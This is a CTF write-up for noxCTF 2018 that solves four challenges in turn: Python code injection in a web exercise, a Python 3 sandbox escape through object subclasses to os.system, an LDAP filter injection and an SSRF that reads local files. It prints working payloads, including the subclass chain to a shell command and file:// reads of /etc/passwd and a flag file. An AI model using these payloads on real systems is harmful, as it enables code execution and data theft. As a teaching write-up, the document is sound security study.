Information#
CTF#
- Name : noxCTF 2018
- Website : ctf18.noxale.com
- Type : Online
- Format : Jeopardy
- CTF Time : link
292 - Python for fun - Misc#
Welcome to noxale's online python class!!! You can try it for free for a limited time and learn basic programming in python 3. http://chal.noxale.com:8000
On http://chal.noxale.com:8000/match_signature_to_body
there is a function definition like def fun()
where we can pass two arguments, that are interpreted.
The form is like that:
<form action="/match_signature_to_body" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='OTNDzFTNnUsskr7gZ7YYCL7u2AkG3PXWR7WJ1xEgtvQelJDzSs1rTaCieFMdj8eN' />
<div class="row">
<div class="col s12">
def fun(
<div class="input-field inline">
<input type="text" name="answer" required id="id_answer" />
</div>
):
</div>
</div>
<pre><code class="python">
c = a + b
return c
</code></pre>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>
This is the only page we can exploit because other pages are just a multiple value form like this one:
<form action="/fix_the_code" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='q0z6g07MYz6yA4TnZIEDGfaI5r42BWXTteIcISSf4aukBmpGS3H6XEFwhwwzRfeK' />
<div>
<p>
<label>
<input type="radio" name="answer" value="0" id="id_answer_0" required />
<span>b -= 15</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="1" id="id_answer_1" required />
<span>a += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="2" id="id_answer_2" required />
<span>b += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="3" id="id_answer_3" required />
<span>a += 15</span>
</label>
</p>
</div>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>
So match signature to body is the only exercise where user input is taken.
The legitimate answer is a,b
.
But we can try to inject a default value to some parameters a,b=dir()[0]
.
It's still valid.
Now try to display something if we want to leak the flag: a,b=print("toto")
.
This is not a good answer anymore but this is evaluated and it displays toto:
Nice now we try to leak some stuff:
a,b=print(exec("import os"),eval("os.listdir('.')"))
None ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']
a,b=print(open("FLAG", "r").read())
Flag is: noxCTF{py7h0n_15_4w350m3}
634 - Python for fun 2 - Misc#
A hacker found a sec hole in our online python class :( He read our secret file which contains the secret way of milking a snake! After hunting him down, we fixed the hole so no one will ever milk a snake again http://chal.noxale.com:8001
If we try our payloads from Python for fun 1 we get an error Illegal use! (open)
or Illegal use! (exec)
.
There must be a blacklist now.
Let's craft a payload to bypass the blacklist.
Create a string class (also works with list or dict)
>>> ''.__class__
<class 'str'>
Now we need the parent class, there is two ways:
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>
Now we have the object class. So we can access to all the child classes:
>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]
Let's find a more suitable way to access the subclasses by index:
>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... print(i,': ',val)
...
0 : <class 'type'>
1 : <class 'weakref'>
2 : <class 'weakcallableproxy'>
3 : <class 'weakproxy'>
4 : <class 'int'>
5 : <class 'bytearray'>
6 : <class 'bytes'>
7 : <class 'list'>
8 : <class 'NoneType'>
9 : <class 'NotImplementedType'>
10 : <class 'traceback'>
11 : <class 'super'>
12 : <class 'range'>
13 : <class 'dict'>
14 : <class 'dict_keys'>
15 : <class 'dict_values'>
16 : <class 'dict_items'>
17 : <class 'odict_iterator'>
18 : <class 'set'>
19 : <class 'str'>
20 : <class 'slice'>
21 : <class 'staticmethod'>
22 : <class 'complex'>
23 : <class 'float'>
24 : <class 'frozenset'>
25 : <class 'property'>
26 : <class 'managedbuffer'>
27 : <class 'memoryview'>
28 : <class 'tuple'>
29 : <class 'enumerate'>
30 : <class 'reversed'>
31 : <class 'stderrprinter'>
32 : <class 'code'>
33 : <class 'frame'>
34 : <class 'builtin_function_or_method'>
35 : <class 'method'>
36 : <class 'function'>
37 : <class 'mappingproxy'>
38 : <class 'generator'>
39 : <class 'getset_descriptor'>
40 : <class 'wrapper_descriptor'>
41 : <class 'method-wrapper'>
42 : <class 'ellipsis'>
43 : <class 'member_descriptor'>
44 : <class 'types.SimpleNamespace'>
45 : <class 'PyCapsule'>
46 : <class 'longrange_iterator'>
47 : <class 'cell'>
48 : <class 'instancemethod'>
49 : <class 'classmethod_descriptor'>
50 : <class 'method_descriptor'>
51 : <class 'callable_iterator'>
52 : <class 'iterator'>
53 : <class 'coroutine'>
54 : <class 'coroutine_wrapper'>
55 : <class 'moduledef'>
56 : <class 'module'>
57 : <class 'EncodingMap'>
58 : <class 'fieldnameiterator'>
59 : <class 'formatteriterator'>
60 : <class 'filter'>
61 : <class 'map'>
62 : <class 'zip'>
63 : <class 'BaseException'>
64 : <class 'hamt'>
65 : <class 'hamt_array_node'>
66 : <class 'hamt_bitmap_node'>
67 : <class 'hamt_collision_node'>
68 : <class 'keys'>
69 : <class 'values'>
70 : <class 'items'>
71 : <class 'Context'>
72 : <class 'ContextVar'>
73 : <class 'Token'>
74 : <class 'Token.MISSING'>
75 : <class '_frozen_importlib._ModuleLock'>
76 : <class '_frozen_importlib._DummyModuleLock'>
77 : <class '_frozen_importlib._ModuleLockManager'>
78 : <class '_frozen_importlib._installed_safely'>
79 : <class '_frozen_importlib.ModuleSpec'>
80 : <class '_frozen_importlib.BuiltinImporter'>
81 : <class 'classmethod'>
82 : <class '_frozen_importlib.FrozenImporter'>
83 : <class '_frozen_importlib._ImportLockContext'>
84 : <class '_thread._localdummy'>
85 : <class '_thread._local'>
86 : <class '_thread.lock'>
87 : <class '_thread.RLock'>
88 : <class 'zipimport.zipimporter'>
89 : <class '_frozen_importlib_external.WindowsRegistryFinder'>
90 : <class '_frozen_importlib_external._LoaderBasics'>
91 : <class '_frozen_importlib_external.FileLoader'>
92 : <class '_frozen_importlib_external._NamespacePath'>
93 : <class '_frozen_importlib_external._NamespaceLoader'>
94 : <class '_frozen_importlib_external.PathFinder'>
95 : <class '_frozen_importlib_external.FileFinder'>
96 : <class '_io._IOBase'>
97 : <class '_io._BytesIOBuffer'>
98 : <class '_io.IncrementalNewlineDecoder'>
99 : <class 'posix.ScandirIterator'>
100 : <class 'posix.DirEntry'>
101 : <class 'codecs.Codec'>
102 : <class 'codecs.IncrementalEncoder'>
103 : <class 'codecs.IncrementalDecoder'>
104 : <class 'codecs.StreamReaderWriter'>
105 : <class 'codecs.StreamRecoder'>
106 : <class '_abc_data'>
107 : <class 'abc.ABC'>
108 : <class 'dict_itemiterator'>
109 : <class 'collections.abc.Hashable'>
110 : <class 'collections.abc.Awaitable'>
111 : <class 'collections.abc.AsyncIterable'>
112 : <class 'async_generator'>
113 : <class 'collections.abc.Iterable'>
114 : <class 'bytes_iterator'>
115 : <class 'bytearray_iterator'>
116 : <class 'dict_keyiterator'>
117 : <class 'dict_valueiterator'>
118 : <class 'list_iterator'>
119 : <class 'list_reverseiterator'>
120 : <class 'range_iterator'>
121 : <class 'set_iterator'>
122 : <class 'str_iterator'>
123 : <class 'tuple_iterator'>
124 : <class 'collections.abc.Sized'>
125 : <class 'collections.abc.Container'>
126 : <class 'collections.abc.Callable'>
127 : <class 'os._wrap_close'>
128 : <class '_sitebuiltins.Quitter'>
129 : <class '_sitebuiltins._Printer'>
130 : <class '_sitebuiltins._Helper'>
131 : <class 'types.DynamicClassAttribute'>
132 : <class 'types._GeneratorWrapper'>
133 : <class 'warnings.WarningMessage'>
134 : <class 'warnings.catch_warnings'>
135 : <class 'importlib.abc.Finder'>
136 : <class 'importlib.abc.Loader'>
137 : <class 'importlib.abc.ResourceReader'>
138 : <class 'operator.itemgetter'>
139 : <class 'operator.attrgetter'>
140 : <class 'operator.methodcaller'>
141 : <class 'itertools.accumulate'>
142 : <class 'itertools.combinations'>
143 : <class 'itertools.combinations_with_replacement'>
144 : <class 'itertools.cycle'>
145 : <class 'itertools.dropwhile'>
146 : <class 'itertools.takewhile'>
147 : <class 'itertools.islice'>
148 : <class 'itertools.starmap'>
149 : <class 'itertools.chain'>
150 : <class 'itertools.compress'>
151 : <class 'itertools.filterfalse'>
152 : <class 'itertools.count'>
153 : <class 'itertools.zip_longest'>
154 : <class 'itertools.permutations'>
155 : <class 'itertools.product'>
156 : <class 'itertools.repeat'>
157 : <class 'itertools.groupby'>
158 : <class 'itertools._grouper'>
159 : <class 'itertools._tee'>
160 : <class 'itertools._tee_dataobject'>
161 : <class 'reprlib.Repr'>
162 : <class 'collections.deque'>
163 : <class '_collections._deque_iterator'>
164 : <class '_collections._deque_reverse_iterator'>
165 : <class 'collections._Link'>
166 : <class 'functools.partial'>
167 : <class 'functools._lru_cache_wrapper'>
168 : <class 'functools.partialmethod'>
169 : <class 'contextlib.ContextDecorator'>
170 : <class 'contextlib._GeneratorContextManagerBase'>
171 : <class 'contextlib._BaseExitStack'>
172 : <class 'rlcompleter.Completer'>
In python2 we could call some dangerous class from here but in python3 this is a little more complex.
I find a pyjail WU where someone was able to call sys
from codecs.StreamReaderWriter
class.
''.__class__.__mro__[1].__subclasses__()[104]
<class 'codecs.StreamReaderWriter'>
Using __init__
to initialize the class and __globals__
to access the global namespace of the module in which the function was defined.
A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.
cf. https://docs.python.org/3/reference/datamodel.html
So from this namespace we are able to call sys
.
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>
Then it's easy to import os
:
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/os.py'>
And finally using system
method to launch a system command and read the flag:
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")
Flag is noxCTF{py7h0n_15_6r347}
.
902 - Dictionary of obscure sorrows - Web#
There are a lot of obscure sorrows in our world.
Your job is not to find those that are plain in sight;
You need to seek further, look deeper.
Find the word that can not be written.
The most obscure sorrow of them all.
Disclosure: I flaged it after the end of the CTF
If we change a real page name (ex: Sonder) with s*
this is still displaying the right page:
But requesting http://54.152.220.222/word.php?page=b*
returns me an error message Query returned empty
so I knew there was an LDAP injection.
Now we need to know the params to inject.
By requesting the page http://54.152.220.222/word.php
without a parameter I got the following error Missing RDN inside ObjectClass(document)
.
So we know ObjectClass
is document
.
Let's find the attributes of document
on https://oav.net/mirrors/LDAP-ObjectClasses.html
document
objectclass have these attributes:
- commonName
- description
- seeAlso
- l
- o
- ou
- documentTitle
- documentVersion
- documentAuthor
- documentLocation
- documentPublisher
Looking at the template there is the title displayed and a description.
Also we know the flag format is noxCTF{}
.
So let's try to find an object where the description
attribute begin with nox
.
By requesting http://54.152.220.222/word.php?page=*)(description=nox*
I got the flag noxCTF{K1NG_0F_LD4P}
.
670 - hiddenDOM - Web#
I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?
Disclosure: I flaged it after the end of the CTF
I first checked the source code where I found obfuscated javascript.
var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])
I did a first pass of deobfuscation with http://jsnice.org/
'use strict';
/** @type {!Array} */
var _0x3bc3 = ["main_form", "getElementById", "input", "createElement", "name", "expression", "setAttribute", "type", "text", "placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"];
var _frss = document[_0x3bc3[1]](_0x3bc3[0]);
var _xEger = document[_0x3bc3[3]](_0x3bc3[2]);
_xEger[_0x3bc3[6]](_0x3bc3[4], _0x3bc3[5]);
_xEger[_0x3bc3[6]](_0x3bc3[7], _0x3bc3[8]);
_xEger[_0x3bc3[6]](_0x3bc3[9], _0x3bc3[10]);
And did a second pass manually:
var _frss = document["getElementById"]("main_form"); /* <form id="main_form" action="index.php" style="position:sticky;"> */
var _xEger = document["createElement"]("input"); /* <input> */
_xEger["setAttribute"]("name", "expression"); /* <input name="expression"> */
_xEger["setAttribute"]("type", "text"); /* <input name="expression" type="text"> */
_xEger["setAttribute"]("placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"); /* <input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text"> */
So the javascript is creating those two HTML elements:
<form id="main_form" action="index.php" style="position:sticky;">
<input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text">
So we can see an extra parameter expression
is used.
Also there is somewhere in the source code:
<a href='/var/www/html/flag.txt' hidden >-_-</a>
So we know where we have to look for the flag.
Targeting the page itself http://chal.noxale.com:5588/index.php?target=http://chal.noxale.com:5588/index.php
is revealing us a new obfuscated javascript block.
After jsnice:
'use strict';
/** @type {!Array} */
var _0x2b80 = ["slow", "fadeOut", "#hidden_elements", "click", "#hideArea", "ready", "fadeIn", "#showArea"];
$(document)[_0x2b80[5]](function() {
$(_0x2b80[4])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[1]](_0x2b80[0]);
});
});
$(document)[_0x2b80[5]](function() {
$(_0x2b80[7])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[6]](_0x2b80[0]);
});
});
After manual deobfuscation:
$(document)["ready"](function() {
$("#hideArea")["click"](function() {
$("#hidden_elements")["fadeOut"]("slow");
});
});
$(document)["ready"](function() {
$("#showArea")["click"](function() {
$("#hidden_elements")["fadeIn"]("slow");
});
});
This is just the code for toggling the hidden area. It's useless for us.
We can also target trhe localhost: http://chal.noxale.com:5588/index.php?target=http://127.0.0.1
so we know we are looking for a SSRF.
Targeting file://etc/passwd
is working, but as long as there is no line with hidden inside, it won't display anything. Because the regex on server side is displaying only lines matching /<[^<>]{1,}hidden[^<>]{1,}>/
as we saw during the deobfuscation.
So let's use an expression like /nox.*/
to show the flag: http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/nox.*/
The flag is noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}
.